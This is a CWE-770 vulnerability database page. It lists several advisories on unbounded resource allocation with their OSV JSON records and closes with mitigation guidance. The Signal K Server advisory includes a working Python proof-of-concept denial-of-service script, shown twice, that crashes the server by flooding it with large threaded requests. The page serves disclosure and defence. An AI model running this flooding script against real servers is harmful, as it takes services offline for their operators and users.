Common Weakness Enumeration

CWE-770

Allowed

Allocation of Resources Without Limits or Throttling

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

3011 vulnerabilities reference this CWE, most recent first.

GHSA-7QV2-PJ4M-GGP9

Vulnerability from github – Published: 2022-05-13 01:45 – Updated: 2025-04-20 03:36
VLAI
Details

Vulnerability in the Oracle iReceivables component of Oracle E-Business Suite (subcomponent: Self Registration). Supported versions that are affected are 12.1.1, 12.1.2, 12.1.3, 12.2.3, 12.2.4, 12.2.5 and 12.2.6. Easily "exploitable" vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle iReceivables. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle iReceivables. CVSS 3.0 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-3555"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-04-24T19:59:00Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the Oracle iReceivables component of Oracle E-Business Suite (subcomponent: Self Registration). Supported versions that are affected are 12.1.1, 12.1.2, 12.1.3, 12.2.3, 12.2.4, 12.2.5 and 12.2.6. Easily \"exploitable\" vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle iReceivables. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle iReceivables. CVSS 3.0 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-7qv2-pj4m-ggp9",
  "modified": "2025-04-20T03:36:45Z",
  "published": "2022-05-13T01:45:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3555"
    },
    {
      "type": "WEB",
      "url": "https://erpscan.io/advisories/erpscan-17-024-dos-oracle-e-business-suite-anonymouslogin"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97757"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038299"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7QW3-C2VM-FJHQ

Vulnerability from github – Published: 2025-02-05 18:34 – Updated: 2025-02-05 18:34
VLAI
Details

When BIG-IP AFM is provisioned with IPS module enabled and protocol inspection profile is configured on a virtual server or firewall rule or policy, undisclosed traffic can cause an increase in CPU resource utilization.  

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-24312"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-05T18:15:34Z",
    "severity": "HIGH"
  },
  "details": "When BIG-IP AFM is provisioned with IPS module enabled and protocol inspection profile is configured on a virtual server or firewall rule or policy, undisclosed traffic can cause an increase in CPU resource utilization.\u00a0\u00a0\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
  "id": "GHSA-7qw3-c2vm-fjhq",
  "modified": "2025-02-05T18:34:46Z",
  "published": "2025-02-05T18:34:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24312"
    },
    {
      "type": "WEB",
      "url": "https://my.f5.com/manage/s/article/K000141380"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7R3C-WFGH-X96C

Vulnerability from github – Published: 2026-05-20 12:30 – Updated: 2026-06-30 03:36
VLAI
Details

A flaw was found in 389-ds-base. The get_ldapmessage_controls_ext() function in the LDAP server does not enforce an upper bound on the number of controls per LDAP message. A remote, unauthenticated attacker can send a specially crafted LDAP request containing hundreds of thousands of minimal controls within the default maximum BER message size (2 MB), causing excessive CPU consumption and heap allocation on the server. Under concurrent exploitation, this leads to significant latency degradation, worker thread starvation, or out-of-memory termination, resulting in a denial of service.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-9064"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-20T10:16:28Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in 389-ds-base. The get_ldapmessage_controls_ext() function in the LDAP server does not enforce an upper bound on the number of controls per LDAP message. A remote, unauthenticated attacker can send a specially crafted LDAP request containing hundreds of thousands of minimal controls within the default maximum BER message size (2 MB), causing excessive CPU consumption and heap allocation on the server. Under concurrent exploitation, this leads to significant latency degradation, worker thread starvation, or out-of-memory termination, resulting in a denial of service.",
  "id": "GHSA-7r3c-wfgh-x96c",
  "modified": "2026-06-30T03:36:45Z",
  "published": "2026-05-20T12:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9064"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-9064.json"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480093"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-9064"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:27125"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26639"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26599"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26597"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26465"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26464"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26463"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26461"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26460"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26459"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26458"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26457"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26456"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26455"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26454"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26453"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26452"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7RF5-G36V-WPJH

Vulnerability from github – Published: 2022-02-20 00:00 – Updated: 2022-03-02 00:00
VLAI
Details

sha256crypt and sha512crypt through 0.6 allow attackers to cause a denial of service (CPU consumption) because the algorithm's runtime is proportional to the square of the length of the password.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-20013"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-19T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "sha256crypt and sha512crypt through 0.6 allow attackers to cause a denial of service (CPU consumption) because the algorithm\u0027s runtime is proportional to the square of the length of the password.",
  "id": "GHSA-7rf5-g36v-wpjh",
  "modified": "2022-03-02T00:00:37Z",
  "published": "2022-02-20T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-20013"
    },
    {
      "type": "WEB",
      "url": "https://akkadia.org/drepper/SHA-crypt.txt"
    },
    {
      "type": "WEB",
      "url": "https://pthree.org/2018/05/23/do-not-use-sha256crypt-sha512crypt-theyre-dangerous"
    },
    {
      "type": "WEB",
      "url": "https://twitter.com/solardiz/status/795601240151457793"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7RPF-CP7M-9Q4F

Vulnerability from github – Published: 2024-02-29 03:33 – Updated: 2024-02-29 03:33
VLAI
Details

A vulnerability in the External Border Gateway Protocol (eBGP) implementation of Cisco NX-OS Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device.

This vulnerability exists because eBGP traffic is mapped to a shared hardware rate-limiter queue. An attacker could exploit this vulnerability by sending large amounts of network traffic with certain characteristics through an affected device. A successful exploit could allow the attacker to cause eBGP neighbor sessions to be dropped, leading to a DoS condition in the network.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-20321"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-29T01:43:59Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the External Border Gateway Protocol (eBGP) implementation of Cisco NX-OS Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device.\n\n This vulnerability exists because eBGP traffic is mapped to a shared hardware rate-limiter queue. An attacker could exploit this vulnerability by sending large amounts of network traffic with certain characteristics through an affected device. A successful exploit could allow the attacker to cause eBGP neighbor sessions to be dropped, leading to a DoS condition in the network.",
  "id": "GHSA-7rpf-cp7m-9q4f",
  "modified": "2024-02-29T03:33:17Z",
  "published": "2024-02-29T03:33:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20321"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-ebgp-dos-L3QCwVJ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7RQC-FF8M-7J23

Vulnerability from github – Published: 2026-01-02 15:20 – Updated: 2026-01-02 15:20
VLAI
Summary
Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding
Details

Summary

A Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (/signalk/v1/access/requests). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects.

Details

The vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.

Vulnerable Code Analysis: 1. In-Memory Storage: In src/requestResponse.js, requests are stored in a simple JavaScript object: javascript const requests = {} 2. Unbounded Growth: The createRequest function adds new requests to this object without checking the current size or count of existing requests. 3. Infrequent Pruning: The pruneRequests function, which removes old requests, runs only once every 15 minutes (pruneIntervalRate). 4. No Rate Limiting: The endpoint /signalk/v1/access/requests accepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests).

Exploit Scenario: 1. An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to /signalk/v1/access/requests. 2. The server stores every request in the requests object in the Node.js heap. 3. The heap memory usage spikes rapidly. 4. The Node.js process hits its memory limit (default ~1.5GB) and crashes with FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory.

PoC

The following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.

import urllib.request
import json
import threading
import time

# Target Configuration
TARGET_URL = "http://localhost:3000/signalk/v1/access/requests"
PAYLOAD_SIZE_MB = 0.1  # 100 KB per request
NUM_REQUESTS = 20000   # Sufficient to exhaust heap
CONCURRENCY = 50

# Generate a large string payload
LARGE_STRING = "A" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))

def send_heavy_request(i):
    try:
        payload = {
            "clientId": f"attacker-device-{i}",
            "description": LARGE_STRING, # Stored in memory!
            "permissions": "readwrite"
        }
        data = json.dumps(payload).encode('utf-8')

        req = urllib.request.Request(
            TARGET_URL, 
            data=data, 
            headers={'Content-Type': 'application/json'}, 
            method='POST'
        )
        # Short timeout as server might hang
        urllib.request.urlopen(req, timeout=5)
    except:
        pass

def attack():
    print(f"[*] Starting DoS Attack on {TARGET_URL}...")
    threads = []
    for i in range(NUM_REQUESTS):
        t = threading.Thread(target=send_heavy_request, args=(i,))
        threads.append(t)
        t.start()

        if len(threads) >= CONCURRENCY:
            for t in threads: t.join()
            threads = []

if __name__ == "__main__":
    attack()

Expected Result: Monitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.

Impact

Verified Denial of Service: During our verification using the provided PoC, we observed the following: 1. Rapid Memory Exhaustion: The Node.js process memory usage increased by approximately 30MB within seconds of starting the attack. 2. Service Instability: Continued execution of the PoC quickly leads to a FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory crash. 3. Service Unavailability: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.

Remediation

1. Implement Rate Limiting Use a middleware like express-rate-limit to restrict the number of requests from a single IP address to /signalk/v1/access/requests.

2. Limit Request Storage Modify src/requestResponse.js to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.

3. Validate Payload Size Enforce strict limits on the size of the description and other fields in the access request payload.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "signalk-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.19.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68272"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T15:20:05Z",
    "nvd_published_at": "2026-01-01T18:15:40Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (`/signalk/v1/access/requests`). This causes a \"JavaScript heap out of memory\" error due to unbounded in-memory storage of request objects.\n\n### Details\nThe vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.\n\n**Vulnerable Code Analysis:**\n1.  **In-Memory Storage**: In `src/requestResponse.js`, requests are stored in a simple JavaScript object:\n    ```javascript\n    const requests = {}\n    ```\n2.  **Unbounded Growth**: The `createRequest` function adds new requests to this object without checking the current size or count of existing requests.\n3.  **Infrequent Pruning**: The `pruneRequests` function, which removes old requests, runs only once every **15 minutes** (`pruneIntervalRate`).\n4.  **No Rate Limiting**: The endpoint `/signalk/v1/access/requests` accepts POST requests from any client without any rate limiting or authentication (by design, as it\u0027s for initial access requests).\n\n**Exploit Scenario:**\n1.  An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to `/signalk/v1/access/requests`.\n2.  The server stores every request in the `requests` object in the Node.js heap.\n3.  The heap memory usage spikes rapidly.\n4.  The Node.js process hits its memory limit (default ~1.5GB) and crashes with `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`.\n\n### PoC\nThe following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.\n\n```python\nimport urllib.request\nimport json\nimport threading\nimport time\n\n# Target Configuration\nTARGET_URL = \"http://localhost:3000/signalk/v1/access/requests\"\nPAYLOAD_SIZE_MB = 0.1  # 100 KB per request\nNUM_REQUESTS = 20000   # Sufficient to exhaust heap\nCONCURRENCY = 50\n\n# Generate a large string payload\nLARGE_STRING = \"A\" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))\n\ndef send_heavy_request(i):\n    try:\n        payload = {\n            \"clientId\": f\"attacker-device-{i}\",\n            \"description\": LARGE_STRING, # Stored in memory!\n            \"permissions\": \"readwrite\"\n        }\n        data = json.dumps(payload).encode(\u0027utf-8\u0027)\n        \n        req = urllib.request.Request(\n            TARGET_URL, \n            data=data, \n            headers={\u0027Content-Type\u0027: \u0027application/json\u0027}, \n            method=\u0027POST\u0027\n        )\n        # Short timeout as server might hang\n        urllib.request.urlopen(req, timeout=5)\n    except:\n        pass\n\ndef attack():\n    print(f\"[*] Starting DoS Attack on {TARGET_URL}...\")\n    threads = []\n    for i in range(NUM_REQUESTS):\n        t = threading.Thread(target=send_heavy_request, args=(i,))\n        threads.append(t)\n        t.start()\n        \n        if len(threads) \u003e= CONCURRENCY:\n            for t in threads: t.join()\n            threads = []\n\nif __name__ == \"__main__\":\n    attack()\n```\n\n**Expected Result:**\nMonitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.\n\n### Impact\n**Verified Denial of Service**:\nDuring our verification using the provided PoC, we observed the following:\n1.  **Rapid Memory Exhaustion**: The Node.js process memory usage increased by approximately **30MB within seconds** of starting the attack.\n2.  **Service Instability**: Continued execution of the PoC quickly leads to a `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory` crash.\n3.  **Service Unavailability**: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel\u0027s navigation data server offline.\n\n---\n### Remediation\n**1. Implement Rate Limiting**\nUse a middleware like `express-rate-limit` to restrict the number of requests from a single IP address to `/signalk/v1/access/requests`.\n\n**2. Limit Request Storage**\nModify `src/requestResponse.js` to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.\n\n**3. Validate Payload Size**\nEnforce strict limits on the size of the `description` and other fields in the access request payload.",
  "id": "GHSA-7rqc-ff8m-7j23",
  "modified": "2026-01-02T15:20:05Z",
  "published": "2026-01-02T15:20:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7rqc-ff8m-7j23"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68272"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/commit/55e3574d8266fbc0ed8e453ad4557073541566f5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SignalK/signalk-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding"
}

GHSA-7RX7-VCCV-7R68

Vulnerability from github – Published: 2025-10-03 21:30 – Updated: 2025-10-08 21:30
VLAI
Details

An allocation of resources without limits or throttling vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.

We have already fixed the vulnerability in the following version: Qsync Central 5.0.0.2 ( 2025/07/31 ) and later

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-44012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-03T19:15:42Z",
    "severity": "HIGH"
  },
  "details": "An allocation of resources without limits or throttling vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.2 ( 2025/07/31 ) and later",
  "id": "GHSA-7rx7-vccv-7r68",
  "modified": "2025-10-08T21:30:23Z",
  "published": "2025-10-03T21:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-44012"
    },
    {
      "type": "WEB",
      "url": "https://www.qnap.com/en/security-advisory/qsa-25-35"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7VCW-X89J-VRRC

Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04
VLAI
Details

EMQ X Broker versions prior to 4.2.8 are vulnerable to a denial of service attack as a result of excessive memory consumption due to the handling of untrusted inputs. These inputs cause the message broker to consume large amounts of memory, resulting in the application being terminated by the operating system.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-33175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-08T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "EMQ X Broker versions prior to 4.2.8 are vulnerable to a denial of service attack as a result of excessive memory consumption due to the handling of untrusted inputs. These inputs cause the message broker to consume large amounts of memory, resulting in the application being terminated by the operating system.",
  "id": "GHSA-7vcw-x89j-vrrc",
  "modified": "2022-05-24T19:04:20Z",
  "published": "2022-05-24T19:04:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33175"
    },
    {
      "type": "WEB",
      "url": "https://www.synopsys.com/blogs/software-security/cyrc-advisory-rabbitmq-emqx-vernemq"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7VFH-CQPC-4267

Vulnerability from github – Published: 2024-10-18 20:05 – Updated: 2024-10-22 21:44
VLAI
Summary
Security Update for the OPC UA .NET Standard Stack
Details

This security update resolves a vulnerability in the OPC UA .NET Standard Stack that allows an unauthorized attacker to trigger a gradual degradation in performance.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "OPCFoundation.NetStandard.Opc.Ua"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.374.118"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "OPCFoundation.NetStandard.Opc.Ua.Core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.374.118"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-18T20:05:28Z",
    "nvd_published_at": "2024-10-22T21:15:06Z",
    "severity": "MODERATE"
  },
  "details": "This security update resolves a vulnerability in the OPC UA .NET Standard Stack that allows an\nunauthorized attacker to trigger a gradual degradation in performance.\n\n",
  "id": "GHSA-7vfh-cqpc-4267",
  "modified": "2024-10-22T21:44:38Z",
  "published": "2024-10-18T20:05:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OPCFoundation/UA-.NETStandard/security/advisories/GHSA-7vfh-cqpc-4267"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45526"
    },
    {
      "type": "WEB",
      "url": "https://files.opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2024-45526.pdf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OPCFoundation/UA-.NETStandard"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Security Update for the OPC UA .NET Standard Stack"
}

GHSA-7VHR-3H3V-9GQG

Vulnerability from github – Published: 2025-01-21 21:30 – Updated: 2025-11-03 21:32
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Security: Privileges). Supported versions that are affected are 8.0.39 and prior, 8.4.2 and prior and 9.0.1 and prior. Difficult to exploit vulnerability allows high privileged attacker with logon to the infrastructure where MySQL Server executes to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.1 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).

Severity
4.1 (Medium)
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-21494"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-21T21:15:14Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Security: Privileges).  Supported versions that are affected are 8.0.39 and prior, 8.4.2 and prior and  9.0.1 and prior. Difficult to exploit vulnerability allows high privileged attacker with logon to the infrastructure where MySQL Server executes to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.1 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-7vhr-3h3v-9gqg",
  "modified": "2025-11-03T21:32:17Z",
  "published": "2025-01-21T21:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21494"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250124-0010"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Mitigation
Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
